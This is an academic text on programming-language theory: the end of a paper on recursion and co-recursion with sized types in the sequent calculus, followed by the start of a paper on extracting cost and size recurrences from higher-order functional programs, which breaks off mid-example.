pairs : ∀a : ?.Ascend i <∞. List(i, a)→ List(i, a⊗ a)

pairs = λa?.{Risei<∞(r)⇒ λxList(i,a). casexsof

Nil⇒ Nil

Consj<i(xa, ysList(j,a))⇒ case ysof

Nil⇒ Nil

Consk<j(ya, zsList(k,a))⇒ Consk((x, y), r.Risekzs)}

Note that the type of the recursive argument r is Ascend i′ <
i. List(i′, a)→ List(i′, a⊗ a). Thus, the recursive self-invocation
r.Risek : List(k, a)→ List(k, a⊗ a) is well-typed, since we learn
that j < i and k < j by analyzing the Cons structure of the list and
learn that k < i by transitivity.

Finally, note that we can translate this functional calculus into
the minimal subset of the µµ̃S -calculus, as shown in Figure 11. This
translation is type-preserving, and each of the source reductions
maps to at least one reduction in the call-by-name instance of
µµ̃S [8], µµ̃N , where the set of values is as large as possible and
includes every term. So, because the µµ̃N -calculus does not allow
for well-typed infinite loops, neither does its functional counterpart.

Theorem 2. If Γ `Θ v : A and (Γ `Θ α : A) seq are derivable
then v is strongly normalizing.

7. Conclusion
Co-induction need not be a second-class citizen compared to in-
duction in programming languages. Dedication to duality provides
the key for unlocking co-recursion from recursion as its equal and
opposite force. We are able to freely mix inductive and co-inductive
styles of programming along with computational effects (specifi-
cally, classical control effects) without losing properties like strong
normalization or extensional reasoning. Additionally, we show how
the lessons we learn can be translated back to the more familiar
ground of effect-free functional programming, although its inher-
ent lack of duality causes some symmetries of recursion schemes
to be lost in translation. We can write pure functional programs
with mixed induction and co-induction, but the asymmetry of the
paradigm blocks the full expression of certain recursion principles.

In order to ensure that recursion is well-founded, we use type-
level indices indicating the size of types as a tool. This is a pragmatic
choice: the nature of computation in the sequent calculus makes
it essential to track size arguments for well-foundedness “inside”
larger structures. Allowing size information to flow into structures
is a natural consequence of the co-data presentation of functions.
Implementations of type theory typically check the arguments to
a recursive function definition, but since functions are just another
user-defined co-data structure containing these arguments, there is
no inherent reason to limit this functionality to function types alone.

We have shown how both recursion and co-recursion in programs
can be drawn from the mathematical principles of primitive and
noetherian induction, and codified as programming structures for
representing recursive processes. The style of primitive recursion
with computationally sensitive type-level indices can be mixed with
noetherian recursion that use computationally-irrelevant indices. We
see that the primitive and noetherian recursion principles, which are
generally distinct mathematically, are also distinct computationally
and have different uses. The general (co-)data mechanism helped
us to understand these principles for recursion in programs, but
the recursors were generated by hand. Can we find the general
mechanism that encompasses recursion in programs, in the same
way that we have encompassed recursion in (co-)data types?

A clear subject for future study is to enrich the existing depen-
dencies in types to be closer to full-spectrum dependent types. We

find that a modest amount of dependency in primitive recursion, in
the form of numeric type indices admitting case analysis, helps us
encode programs over Haskell-style infinite lists. Further exploring
the nature of this dependency may show how to adapt this theory to
be applicable to the use in proof assistants with dependent types. We
also saw how the duality of classical logic is useful in the study of re-
cursion. Can this classicality be rectified with more complex notions
of dependency, so that dependent types can be given a computational
view of classical reasoning principles?
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Abstract
A central method for analyzing the asymptotic complexity of a
functional program is to extract and then solve a recurrence that
expresses evaluation cost in terms of input size. The relevant notion
of input size is often specific to a datatype, with measures including
the length of a list, the maximum element in a list, and the height
of a tree. In this work, we give a formal account of the extraction
of cost and size recurrences from higher-order functional programs
over inductive datatypes. Our approach allows a wide range of
programmer-specified notions of size, and ensures that the extracted
recurrences correctly predict evaluation cost. To extract a recurrence
from a program, we first make costs explicit by applying a monadic
translation from the source language to a complexity language, and
then abstract datatype values as sizes. Size abstraction can be done
semantically, working in models of the complexity language, or
syntactically, by adding rules to a preorder judgement. We give
several different models of the complexity language, which support
different notions of size. Additionally, we prove by a logical relations
argument that recurrences extracted by this process are upper bounds
for evaluation cost; the proof is entirely syntactic and therefore
applies to all of the models we consider.

Categories and Subject Descriptors F.3.1 [Logics and meanings
of programs]: Specifying and verifying and reasoning about pro-
grams; F.3.2 [Logics and meanings of programs]: Semantics of
programming languages

General Terms Verification.

Keywords Semi-automatic complexity analysis.
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1. Introduction
The typical method for analyzing the asymptotic complexity of a
functional program is to extract a recurrence that relates the func-
tion’s running time to the size of the function’s input, and then
solve the recurrence to obtain a closed form and big-O bound. Au-
tomated complexity analysis (see the related work in Section 7)
provides helpful information to programmers, and could be par-
ticularly useful for giving feedback to students. In a setting with
higher-order functions and programmer-defined datatypes, automat-
ing the extract-and-solve method requires a generalization of the
standard theory of recurrences. This generalization must include
a notion of recurrence for higher-order functions such as map and
fold, as well as a general theory of what constitutes “the size of the
input” for programmer-defined datatypes.

One notion of recurrence for higher-order functions was devel-
oped in previous work by Danner and Royer (2009) and Danner et al.
(2013). Because the output of one function is the input to another, it
is necessary to extract from a function not only a recurrence for the
running time, but also a recurrence for the size of the output. These
can be packaged together as a single recurrence that, given the size
of the input, produces a pair consisting of the running time (called
the cost) and the size of the output (called the potential). Whereas
the former is the cost of executing the program to a value, the latter
determines the cost of using that value. This generalizes naturally to
higher-order functions: a recurrence for a higher-order function is
itself a higher-order function, which expresses the cost and potential
of the result in terms of a given recurrence for the cost and potential
of the argument function. The process of extracting recurrences can
thus be seen as a denotational semantics of the program, where a
function is interpreted as a function from input potential to cost and
output potential.

Building on this work, we give a formal account of the extraction
of recurrences from higher-order functional programs over inductive
datatypes, focusing how to soundly allow programmer-specified
sizes of datatypes. We show that under some mild conditions on
sizes, the cost predicted by an extracted recurrence is in fact an upper
bound on the number of steps the program takes to evaluate. The size
of a value can be taken to be (essentially) the value itself, in which
case one gets exact bounds but must reason about all the details of
program evaluation, or the size of a value can forget information
(e.g. abstracting a list as its length), in which case one gets weaker
bounds with more traditional reasoning.

We start from a call-by-value source language, defined in Sec-
tion 2, with strictly positive inductive datatype definitions (which
include lists and finitely and infinitely branching trees). Datatypes
are used via case-analysis and structural recursion (so the language
is terminating), but unlike in Danner et al. (2013), recursive calls are
only evaluated if necessary—for example, recurring on one branch
of a tree has different cost than recurring on both branches. The
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cost of a program is defined by an operational cost semantics, an
evaluation relation annotated with costs. For simplicity, the cost
semantics measures only the number of function applications and re-
cursive calls made during evaluation, but our approach to extracting
recurrences generalizes to other cost models.

We extract a recurrence from such a program in two steps. First,
in Section 3, we make the cost of evaluating a program explicit, by
translating a source program e to a program ‖e‖ in a complexity
language. The complexity language has an additional type C for
costs, and the translation to the complexity language is a call-by-
value monadic translation into the writer monad C×− (Moggi 1991;
Wadler 1992). The translated program ‖e‖ returns an additional
result, which is the cost of running the original program e.

Second, we abstract values to sizes; we study both semantic and
syntactic approaches. In Section 4, we give a size-based semantics
of the complexity language, which relies on programmer-specified
size functions mapping each datatype to the natural numbers (or
some other preorder). Typical size functions include the length of a
list and the size or depth of a tree. The semantics satisfies a bounding
theorem (Theorem 7), which implies that the denotational cost given
by composing the source-to-complexity translation with the size-
based semantics is in fact an upper bound on the operational cost.
We show some examples that the recurrence for cost extracted by
this process is the expected one; later we also show that the results
in Danner et al. (2013) carry over.

Alternatively, the abstraction of values to sizes can be done
syntactically in the complexity language, by imposing a preorder
structure on the values of the datatype themselves. For example,
rather than mapping lists to numbers representing their lengths,
we can order the list values by rules including xs ≤ (x::xs) and
(x::xs) ≤ (y::xs). The second rule says that the elements of the
list are irrelevant, quotienting the lists down to natural numbers,
and the first generates the usual order on natural numbers. Formally,
we equip the complexity language with a judgement E ≤ E′ that
can be used to make such abstractions. In Section 5, we identify
properties of this judgement that are sufficient to prove a syntactic
bounding theorem (Theorem 12), which states that the operational
cost is bounded by the cost component of the complexity translation.
The key technical notion is a logical relation between the source and
complexity languages that extends the bounding relation of Danner
et al. (2013) to inductive types. This proof gives a bounding theorem
for any model of the complexity language that validates the rules for
≤. In Section 6, we show that these rules are valid in the size-based
semantics of Section 4 (thereby proving Theorem 7), and we discuss
several other models of the complexity language.

This gives a formal account of what it means to extract a
recurrence from higher-order programs on inductive data. We
leave an investigation of what it means to solve these higher-order
recurrences to future work. Danner et al. (2015) is a full version of
this paper.

2. Source Language with Inductive Data Types
The source language is a simply-typed λ-calculus with product
types, function types, suspensions, and strictly positive inductive
datatypes. Its syntax, typing, and operational semantics are given in
Figure 1. We bundle sums and inductive types together as datatypes,
rather than using separate + and µ types, because below we do not
want to consider sizes for the sum part separately. We assume a
top-level signature ψ consisting of datatype declarations of the form

datatype δ = Cδ0 of φC0 [δ] | . . . | Cδn−1 of φCn−1 [δ]

Each constructor’s argument type is specified by a strictly positive
functor φ. These include the identity functor (t), representing a recur-
sive occurrence of the datatype; constant functors (τ ), representing a
non-recursive argument; product functors (φ1 × φ2), representing a

pair of arguments; and constant exponentials (τ → φ), representing
an argument of function type. For example for τ list, the argu-
ment type for Nil is unit (constant functor), and the argument type
for Cons is τ × t (product of constant and recursive arguments).
We write φ[τ ] for substitution for the single free type variable t
in φ. We sometimes abbreviate further by dropping the type su-
perscripts and writing datatype δ = C of φC and by writing C
rather than Ci to refer to one of the constructors of the declaration.
In the signature, each φC in each datatype declaration must re-
fer only to datatypes that are declared earlier in the sequence, to
avoid introducing general recursive datatypes (see the full paper
for the formal definition). We write C : (φ → δ) ∈ ψ to mean
that the signature ψ contains a datatype declaration of the form
datatype δ = . . . | C of φ[δ] | . . .. We generally elide the sig-
nature from typing, but sometimes write γ `ψ e : τ to include
it. The elimination rule for a datatype δ is structural recursion,
recδ(e, C 7→ x.eC). When φC = unit, we assume x /∈ fv(eC)
and write eC instead of x.eC .

Evaluation is call-by-value and products and datatypes are
strict. However, unfolding datatype recursors requires substituting
expressions (the recursor applied to the components of the value) for
the variables standing for the recursive calls—running the recursive
call first and substituting its value would require a function to make
all possible recursive calls. We handle this using suspensions: when
computing a τ by recursion, the result of a recursive call is given the
type susp τ . The values of type susp τ are delay(e) where e is an
expression of type τ ; the elimination form force forces evaluation.
When defining a recursive computation of result type τ , the branch
for a constructor C has access to a variable of type φC [δ× susp τ ],
which gives access both to the “predecessor” values of type δ and to
the recursive results. This supports both case-analysis and structural
recursion, and recursive calls are only computed if they are used.

For any strictly positive functor φ, the mapφ expression witnesses
functoriality, essentially lifting a function of type τ0 → τ1 to one
of type φ[τ0] → φ[τ1]. It is used in the operational semantics for
the recursor to insert recursive calls at the right places in φ (Harper
(2013) provides an exposition). We will only need to lift maps
whose bodies are syntactic values (or variables), and apply them to
syntactic values (or variables), and we restrict map to this special
case to simplify its cost semantics.

The cost semantics in Figure 1 defines the relation e ↓n v, which
means that the expression e evaluates to the value v in n steps. Our
cost model charges only for the number of function applications and
recursive calls made by datatype recursors. This prevents constant-
time overheads from the encoding of datatypes using product and
suspension types from showing up in the extracted recurrences. It
is simple to adapt the denotational cost semantics below to other
operational cost semantics, such as one that charges for these steps,
or assigns different costs to different constructs.

Substitutions are defined as usual:

DEFINITION 1. We write θ for substitutions v1/x1, . . . , vn/xn, and
θ : γ to mean that Dom θ ⊆ Dom γ and ∅ ` θ(x) : γ(x) for all
x ∈ Dom θ. We define the application of a substitution θ to an
expression e as usual and denote it e[θ].

LEMMA 1. If x /∈ Dom θ, then e[θ, x/x][e1/x] = e[θ, e1/x].

For source cost expressions n, we write n ≤ n′ for the order
given by interpreting these cost expressions as natural numbers
(i.e. the free precongruence generated by the monoid equations for
(+, 0) and 0 ≤ 1). We have the following syntactic properties of
evaluation:

LEMMA 2 (Value Evaluation).

• If v ↓n v′ then n ≤ 0 and v = v′.
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Types:

τ ::= unit | τ × τ | τ → τ | susp τ | δ
φ ::= t | τ | φ× φ | τ → φ

datatype δ = Cδ0 of φC0 [δ] | . . . | Cδn−1 of φCn−1 [δ]

Expressions:

v ::= x | 〈 〉 | 〈v, v〉 | λx.e | delay(e) | C v
e ::= x | 〈 〉 | 〈e, e〉 | split(e, x.x.e) | λx .e | e e

| delay(e) | force(e)
| Cδ e | recδ(e, C 7→ x.eC)
| mapφ(x.v, v) | let(e, x.e)

n ::= 0 | 1 | n+ n

Typing: γ ` e : τ .

γ ` e : τ

γ ` delay(e) : susp τ
γ ` e : susp τ
γ ` force(e) : τ

γ ` e : φC [δ]

γ ` Cδ e : δ

γ ` e : δ ∀C (γ, x : φC [δ × susp τ ] ` eC : τ)

γ ` recδ(e, C 7→ x.eC) : τ

γ, x : τ0 ` v1 : τ1 γ ` v0 : φ[τ0]

γ ` mapφ(x.v1, v0) : φ[τ1]

Operational semantics: e ↓n v.

delay(e) ↓0 delay(e)

e ↓n0 delay(e0) e0 ↓n1 v

force(e) ↓n0+n1 v

e ↓n v
Ce ↓n Cv

e ↓n0 C v0

mapφC (y.〈y, delay(rec(y, C 7→ x.eC))〉, v0) ↓n1 v1

eC [v1/x] ↓n2 v

rec(e, C 7→ x.eC) ↓1+n0+n1+n2 v

mapt(x.v, v0) ↓0 v[v0/x]
(t not in τ )

mapτ (x.v, v0) ↓0 v0

mapφ0(x.v, v0) ↓n0 v′0 mapφ1(x.v, v1) ↓n1 v′1

mapφ0×φ1(x.v, 〈v0, v1〉) ↓n0+n1 〈v′0, v′1〉

mapτ→φ(x.v, λy.e) ↓0 λy. let(e, z.mapφ(x.v, z))

Figure 1: Source language syntax and typing and operational semantics. Standard typing rules for variables, product types, function types, and
let are omitted. In omitted operational rules, the costs are the sum of the costs of the subevaluations, except for e0 e1 , which adds 1.

• For all v, v ↓0 v.

LEMMA 3 (Totality of map). If γ ` mapφ(x.v1, v0) : φ[τ1] then
mapφ(x.v1, v0) ↓0 v for some v.

3. Making Costs Explicit
3.1 The Complexity Language
The complexity language will serve as a monadic metalanguage
(Moggi 1991) in which we make evaluation cost explicit. The syntax
and typing are given in Figure 2. The preorder judgement defined in
Section 5 will play a role analogous to an operational or equational
semantics for the complexity language.

Because we are not concerned with the evaluation steps of the
complexity language itself, we remove features of the source lan-
guage that were used to control evaluation costs. Product types are
eliminated by projections, rather than split. We allow substitution
of arbitrary expressions for variables, which is used in recursors for
datatypes. Consequently, suspensions are not necessary. We treat
mapΦ(x.E,E1) as an admissible rule (macro), defined by induction
on Φ:

Γ, x : T0 ` E1 : T1 Γ ` E0 : Φ[T0]

Γ ` mapΦ(x.E1, E0) : Φ[T1]

mapt(x.E,E0) := E[E0/x]

mapT (x.E,E0) := E0

mapΦ0×Φ1(x.E,E0) := 〈mapΦ0(x.E, π0E0),mapΦ1(x.E, π1E0)〉
mapT→Φ(x.E,E1) := λy.mapΦ(x.E,E1 y)

The type C represents some domain of costs. The term con-
structors for C say only that it is a monoid (+, 0) with a value 1

representing a single step. Costs can be interpreted in a variety of
ways—e.g. as natural numbers and as natural numbers with infinity
(Section 4).

Substitutions Θ in the complexity language are defined as usual,
and satisfy standard composition properties:

LEMMA 4.

• If x does not occur in Θ, thenE[Θ, x/x][E1/x] = E[Θ, E1/x].
• If x1, x2 do not occur in Θ, then E[E1/x1][E2/x2][Θ] =
E[Θ, E1[Θ]/x1, E2[Θ]/x2].

3.2 The Complexity Translation
Consider a higher-order function such as map on lists:

listmap = λ(f, xs). rec(xs,

Nil 7→ Nil
|Cons 7→ 〈y, 〈ys, r〉〉.Cons(f y, force(r)))

The cost of listmap(f, xs) depends on the sizes of each element
of xs, and the cost of evaluating f on elements of those sizes.
However, since listmap(f, xs) might itself be an argument to
another function (e.g. another listmap), we also need to predict
the sizes of the elements of listmap(f, xs), which depends on the
size of the output of f . Thus, to analyze listmap, we should be
given a recurrence for the cost and size of f(x) in terms of the size
of x, and need to produce a recurrence that gives the cost and size
of listmap(f, xs) in terms of the size of xs. We call the size of the
value of an expression that expression’s potential, because the size
of the value determines what future uses of that value will cost.

This discussion motivates a translation ‖·‖ from source language
terms to complexity language terms so that if e:τ , then ‖e‖:C×〈〈τ〉〉.
In the complexity language, we call an expression of type C× 〈〈τ〉〉
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Types:

T ::= C | unit | ∆ | T × T | T → T
Φ ::= t | T | Φ× Φ | T → Φ

datatype ∆ = C∆
0 of ΦC0 [∆] | . . . | C∆

n−1 of ΦCn−1 [∆]

Expressions:

E ::= x | 0 | 1 | E + E |
〈 〉 | 〈E,E〉 | π0 E | π1 E | λx .E | E E
| C∆ E | rec∆(E,C 7→ x.EC)

Typing: Γ ` E : T .

Γ ` E : ΦC [∆]

Γ ` C∆ E : ∆

Γ ` E : ∆ ∀C (Γ, x : ΦC [∆× T ] ` EC : T )

Γ ` rec∆(E,C 7→ x.EC) : T

Figure 2: Complexity language types, expressions, and typing.
The typing rules are standard for unit, product, and arrow types. C has a binary operation + and elements 0 and 1.

a complexity, an expression of type C a cost, and an expression
of type 〈〈τ〉〉 a potential. We abbreviate C × 〈〈τ〉〉 by ‖τ‖. The
first component of ‖e‖ is the cost of evaluating e, and the second
component of ‖e‖ is the potential of e.

For example, listmap is a value, so its cost should be zero. On
the other hand, its potential should describe what future uses of
listmap will cost, in terms of the potentials of its arguments. For
the type of listmap (uncurried), the above discussion suggests

〈〈(τ → σ)× (τ list)→ σ list〉〉 :=
(〈〈τ〉〉 → C× 〈〈σ〉〉)× 〈〈τ list〉〉 → C× 〈〈σ list〉〉

For the argument function, we are provided a recurrence that maps
τ -potentials to costs and σ-potentials. For the argument list, we are
provided a τ list-potential. Using these, the potential of listmap
must give the cost for doing the whole map and give a σ list-
potential for the value. This illustrates how the potential of a higher-
order function is itself a higher-order function.

As discussed above, we stage the extraction of a recurrence, and
in the first phase, we do not abstract values as sizes (e.g. we do
not replace a list by its length). Because of this, the complexity
translation has a succinct description. For any monoid (C,+, 0),
the writer monad (Wadler 1992) C×− is a monad with

return(E) := (0, E)
E1 »= E2 := (π0(E1) + π0(E2(π1(E1))), π1(E2(π1(E1))))

The monad laws follow from the monoid laws for C. Thinking of
C as costs, these say that the cost of return(e) is zero, and that the
cost of bind is the sum of the cost of E1 and the cost of E2 on the
potential of E1. The complexity translation is then a call-by-value
monadic translation from the source language into the writer monad
in the complexity language, where source expressions that cost a
step have the “effect” of incrementing the cost component, using
the monad operation

incr(E : C) : C× unit := (E, 〈 〉)

We write this translation out explicitly in Figure 3. When E is
a complexity, we write Ec and Ep for π0 E and π1 E respectively
(for “cost” and “potential”). We will often need to “add cost” to
a complexity; when E1 is a cost and E2 a complexity, we write
E1 +c E2 for the complexity (E1 + (E2)c, (E2)p) (in monadic
notation, incr(E1) »E2). The type translation is extended pointwise
to contexts, so x : τ ∈ γ iff x : 〈〈τ〉〉 ∈ 〈〈γ〉〉—the translation is
call-by-value, so variables range over potentials, not complexities.
For example, ‖x‖ = (0, x), where the x on the left is a source
variable and the x on the right is a potential variable. Likewise we
assume that for every datatype δ in the source signature, we have a
corresponding datatype δ declared in the complexity language.

We note some basic facts about the translation: the type trans-
lation commutes with the application of a strictly positive functor,
which is used to show that the translation preserves types.

LEMMA 5 (Compositionality).

• ‖φ[τ ]‖ = ‖φ‖[〈〈τ〉〉]
• 〈〈φ[τ ]〉〉 = 〈〈φ〉〉[〈〈τ〉〉]

THEOREM 6. If γ `ψ e : τ , then ‖γ‖ `‖ψ‖ ‖e‖ : ‖τ‖.

4. A Size-Based Complexity Semantics
In the above translation, the potential of a value has just as much
information as that value itself. Next, we investigate how to abstract
values to sizes, such as replacing a list by its length. In this section,
we make this replacement by defining a size-based denotational
semantics of the complexity language.

We need to be able to treat potentials of inductively-defined
data in two different ways. On the one hand, potentials must reflect
intuitions about sizes. To that end, we will insist that potentials
be partial orders. On the other hand, to interpret rec expressions,
we must be able to distinguish the datatype constructor that a
potential represents. In other words, we need the potentials to also be
(something like) inductive data types. We will have our cake and eat
it too using an approach similar to the work on views (Wadler 1987).
As hinted above, we interpret each datatype ∆ in the complexity
language as a partial order J∆K. But we will also make use of the
sum type D∆ = JΦC0 [∆]K + · · ·+ JΦCn−1 [∆]K (representing the
unfolding of the datatype) and a function size∆ : D∆ → J∆K
(which represents the size of a constructor, in terms of the size of
the argument to the constructor). When ΦCi = t (i.e. the argument
to the constructor is a single recursive occurrence of the datatype),
size(inj i x) is intended to represent an upper bound on the size of
the values of the form C v, where v is a value of size at most x.
To define the semantics of rec∆(y, C 7→ x.EC), we consider all
values z ∈ D∆ such that size∆(z) ≤ y. We can distinguish
between such values to (recursively) compute the possible values of
the form EC [. . ./x], and then take a maximum over all such values.

For example, for the inductive definitions of nat and list
(where the list elements have type nat), suppose we want to construe
the size of a list to be the number of all nat and list constructors.
We implement this in the complexity semantics as

JnatK = Z+

Dnat = {∗}+ JnatK
sizenat(∗) = 1
sizenat(m) = 1 +m

JlistK = Z+

Dlist = {∗}+ (JnatK× JlistK)
size list(∗) = 1

size list((m,n)) = 1 +m+ n

where Z+ is the non-negative integers.

143



‖τ‖ = C× 〈〈τ〉〉
〈〈unit〉〉 = unit
〈〈σ × τ〉〉 = 〈〈σ〉〉 × 〈〈τ〉〉
〈〈σ→ τ〉〉 = 〈〈σ〉〉 → ‖τ‖
〈〈susp τ〉〉 = ‖τ‖

〈〈δ〉〉 = δ

‖φ‖ = C× 〈〈φ〉〉
〈〈t〉〉 = t
〈〈τ〉〉 = 〈〈τ〉〉

〈〈φ0 × φ1〉〉 = 〈〈φ0〉〉 × 〈〈φ1〉〉
〈〈τ → φ〉〉 = 〈〈τ〉〉 → ‖φ‖

〈〈ψ〉〉 has, for each datatype δ in ψ
datatype δ = Cδ0 of 〈〈φC0〉〉[δ] | . . . | CδCn−1

of 〈〈φn−1〉〉[δ]

‖x‖ = 〈0, x〉
‖〈 〉‖ = 〈0, 〈 〉〉

‖〈e0, e1〉‖ = 〈‖e0‖c + ‖e1‖c, 〈‖e0‖p, ‖e1‖p〉〉
‖split(e0, x0.x1.e1)‖ = ‖e0‖c+c

‖e1‖[π0‖e0‖p/x0, π1‖e1‖p/x1]

‖λx.e‖ = 〈0, λx.e〉
‖e0 e1‖ = (1 + (e0)c + (e1)c) +c (e0)p(e1)p

‖delay(e)‖ = 〈0, ‖e‖〉
‖force(e)‖ = ‖e‖c +c ‖e‖p

‖Cδi e‖ = 〈‖e‖c, Cδi ‖e‖p〉

‖recδ(e, C 7→ x.eC)‖ = ‖e‖c +c rec
δ(‖e‖p, C 7→ x.1 +c ‖eC‖)

‖mapφ(x.v0, v1)‖ = 〈0,map〈〈φ〉〉(x.‖v0‖p, ‖v1‖p)〉
‖let(e0, x.e1)‖ = ‖e0‖c +c ‖e1‖[‖e0‖p/x]

Figure 3: Translation from source types and expressions to complexity types and expressions. Recall that ‖e‖c = π0‖e‖ and ‖e‖p = π1‖e‖.

We define the size-based complexity semantics as follows. The
base cases for an inductive definition of (ST ,≤T ) for every com-
plexity type T consist of well-founded partial orders (S∆,≤∆)
for every datatype ∆ in the signature, such that ≤∆ is closed
under arbitrary maximums (see below for a discussion). We de-
fine N∞ = N ∪ {∞}, where N is the natural numbers with the
usual order and addition. We extend the order and addition to∞
by n ≤N∞ ∞ and n + ∞ = ∞ + n = ∞ + ∞ = ∞ for
all n ∈ N. For products and functions we define Sunit = {∗}
and ST0×T1 = ST0 × ST1 and ST0→T1 = (ST1)S

T0 , with the
trivial, componentwise, and pointwise partial orders, respectively.
Complexity types are interpreted into this type structure by setting
JCK = N∞ and JT K = ST for each complexity type T .

Stating the conditions on programmer-defined size functions
requires some auxiliary notions. For datatype ∆ = C of ΦC , set
D∆ = JΦC0 [∆]K+· · ·+JΦCn−1 [∆]K, writing inj i : JΦCi [∆]K→
D∆ for the ith injection. Next, we define a function szΦ with
domain JΦ[∆]K (the semantic analogue of the argument type of
a datatype constructor). szΦ(a) is intended to be the maximum
of the values of type J∆K from which a is built using pairing and
function application. We want to define szΦ by induction on Φ,
computing the maximum at each step. To ignore values not of type
J∆K we assume an element ⊥ /∈ S∆ that serves as an identity for
∨; that is, we order S∆ ∪ {⊥} so that ⊥ < a for all a ∈ S∆. We
define szΦ : JΦ[∆]K→ S∆ ∪ {⊥} by induction on Φ as follows:

sz t(a) = a
szT (a) = ⊥
szΦ0×Φ1(a) = szΦ0(a) ∨ szΦ1(a)
szT→Φ(f) =

∨
a∈JT K sz

Φ(f(a))

The key input to the size-based semantics is programmer-
supplied size functions size∆ : D∆ → S∆ such that

szΦCi (a) <S∆∪{⊥} (size∆ ◦ inj i)(a)

size∆ represents the programmer’s notion of size for inductively-
defined values. The only condition, which is used to interpret the
recursor, is that the size of a value is strictly greater than the size of
any of its substructures of the same type. For example, this condition
permits interpreting the size of a list as its length or its total number

of constructors, and the size of a tree as its number of nodes or its
height. Non-examples include defining the size of a list of natural
numbers to be the number of successor constructors, and defining the
size of all natural numbers to be a constant (though see Section 6.5
for a discussion of this latter possibility).

The interpretation of most terms is standard except for that
of constructors and rec, which are given in Figure 4. We write
mapΦ,T0,T1 for semantic functions that mirror the definition of map,
and we overload the notation Ci to stand for inj i : JΦCi [δ]K→ Dδ .
The implementation of the recursors requires a bit of explanation,
and is motivated by the goal to have ‖e‖ bound the cost and potential
of e. We expect that J‖recδ(e, C 7→ x.eC)‖K, which depends on
Jrecδ(‖e‖p, C 7→ x.‖eC‖)K, should branch on J‖e‖pK, evaluating
to the appropriate J‖eC‖K. However, J‖e‖pK will be a semantic
value of type Sδ , whereas to branch, we need a semantic value
of type Dδ . Furthermore, J‖e‖pK is an upper bound on the size
of e, so J‖e‖pK does not tell us the precise form of e, and so we
cannot use J‖e‖pK to predict which branch the evaluation of the
source rec expression will follow. We solve these problems by
introducing a semantic case function, and define the denotation
of rec expressions by taking a maximum over the branches for all
semantic values that are bounded by the upper bound J‖e‖pK. This
is the source of the requirement that base-type potentials be closed
under arbitrary maximums. Although this requirement seems rather
strong, in most examples it seems easy to satisfy. In particular, we
think of most datatype potentials (sizes) as being natural numbers,
and so we satisfy the condition by interpreting them by N∞.

The restriction on size∆ ensures that the recursion used to
interpret rec expressions descends along a well-founded partial
order, and hence is well-defined. The maximum may end up being a
maximum over all possible values, but this simply indicates that our
interpretation fails to give us precise information.

We illustrate this semantics on some examples. In order to ease
the notation, we will occasionally write syntactic expressions for
the corresponding semantic values (in effect, dropping J·K). We also
write the case function as a branch on constructors; for example,
we write case(t,Emp 7→ x.〈1, 1〉 | Node 7→ 〈y, t0, t1〉.e) for
case(t, λx.〈1, 1〉, λ〈y, t0, t1〉.e).
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case∆ :D∆ ×
∏
C

(SJΦC [∆]K→ Sτ )→ Sτ case(Cx, (. . . , fC , . . . )) = fC(x)

JCeKξ = size(C(JeKξ))

Jrec∆(E,C 7→ x.EC)Kξ =
∨

size z≤JEKξ

case(z, (. . . , fC , . . . ))

fC(x) = JECKξ{x 7→ JmapΦC (w.〈w, rec(w,C 7→ x.EC)〉Kξ, x)}

= JECKξ{x 7→ mapΦC (λλa.(a, Jrec(w,C 7→ x.EC)Kξ{w 7→ a}), x)}

Figure 4: The interpretation of rec in the size-based semantics for the complexity language.

4.1 Booleans and Conditionals
In the source language we define booleans and their case construct:

datatype bool = True of unit | False of unit
case(ebool, eτ0 , e

τ
1) = rec(e, True 7→ e0 | False 7→ e1)

(recall our convention on writing eC for x.eC when φC = unit).
In the semantics of the complexity language, we interpret bool as a
one-element set {1}, so True and False are indistinguishable by
“size.” Our interpretation yields

J‖case(e, e0, e1)‖K
= ‖e‖c+c∨

size b≤‖e‖p

case(b,True 7→ 1 +c ‖e0‖ | False 7→ 1 +c ‖e1‖)

= ‖e‖c +c (case(True,True 7→ 1 +c ‖e0‖ | False 7→ 1 +c ‖e1‖)
∨ case(False,True 7→ 1 +c ‖e0‖ | False 7→ 1 +c ‖e1‖))

= (1 + ‖e‖c) +c (‖e0‖ ∨ ‖e1‖).
In other words, if we cannot distinguish between True and False
by size, then the interpretation of a conditional is just the maximum
of its branches (with the additional cost of evaluating the test). This
is precisely the interpretation used by Danner et al. (2013).

4.2 Tree Membership
Next we consider an example that shows that the “big” maximum
used to interpret the recursor can typically be simplified to the
recurrence that one expects to see. We analyze the cost of checking
membership in an int-labeled tree. For this example, we treat int
(in the source and complexity languages) as a datatype with 232

constructors where the equality test x = y is implemented by a
rather large case analysis. We write e0 orelse e1 as an abbreviation
for case (e0, True 7→ True | False 7→ e1).

datatype tree = Emp of unit | Node of int× tree× tree
mem(t, x) = rec(t,
Emp 7→ False
Node 7→ 〈y, 〈t0, r0〉, 〈t1, r1〉〉.
y = x orelse (force r0 orelse force r1))

Let us define the size of a tree to be the number of nodes:
JtreeK = N∞

Dtree = {∗}+ {1} ×N∞ ×N∞

sizetree(Emp) = 0
sizetree(Node(1, n0, n1)) = 1 + n0 + n1

We would like to get the following recurrence for the cost of the
rec expression when t has size n:

T (0) = 1 T (n) =
∨

n0+n1+1=n

6 + T (n0) + T (n1)

(x = y requires an application and two case evaluations; each
orelse evaluation costs 1; and we charge for the rec reduction).

Working through the interpretation yields J‖mem(t, x)‖Kc =
‖t‖c + g(‖t‖p) + 1 where

g(n) = Jrec(z,Emp 7→ 1

Node 7→ 〈y, 〈t0, r0〉, 〈t1, r1〉〉.6 + (r0)c + (r1)c

K{z 7→ n}.

We can calculate that g(0) = 1, and for n > 0:

g(n) =
∨

size t≤n

case(t,

Emp 7→ 1

Node 7→ 〈y, n0, n1〉.6 + g(n0) + g(n1)

= g(n− 1) ∨
∨

size t=n

case(t, . . . )

= g(n− 1) ∨
∨

1+n0+n1=n

case(Node(1, n0, n1), . . . )

= g(n− 1) ∨
∨

1+n0+n1=n

(6 + g(n0) + g(n1))

We now notice that when we take n0 = 0 and n1 = n− 1 we have

6 + g(n0) + g(n1) = 6 + g(0) + g(n− 1) ≥ g(n− 1)

and hence

g(n) = g(n− 1) ∨
∨

1+n0+n1

(6 + g(n0) + g(n1))

=
∨

1+n0+n1

(6 + g(n0) + g(n1))

which is precisely the recurrence we would expect.

4.3 Tree Map
Next, we consider an example that illustrates reasoning about higher-
order functions and the benefits of choosing an appropriate notion
of size. We analyze the cost of the map function for nat-labeled
binary trees:

treemap(f, t) = rec(t,

Emp 7→ Emp
Node 7→ 〈y, 〈t0, r0〉, 〈t1, r1〉〉.

Node(f(y), force r0, force r1).

Suppose the cost of evaluating f is monotone with respect to the
size of its argument, where we define the size of a natural number n
to be 1 + n (to count the zero constructor). The cost of evaluating
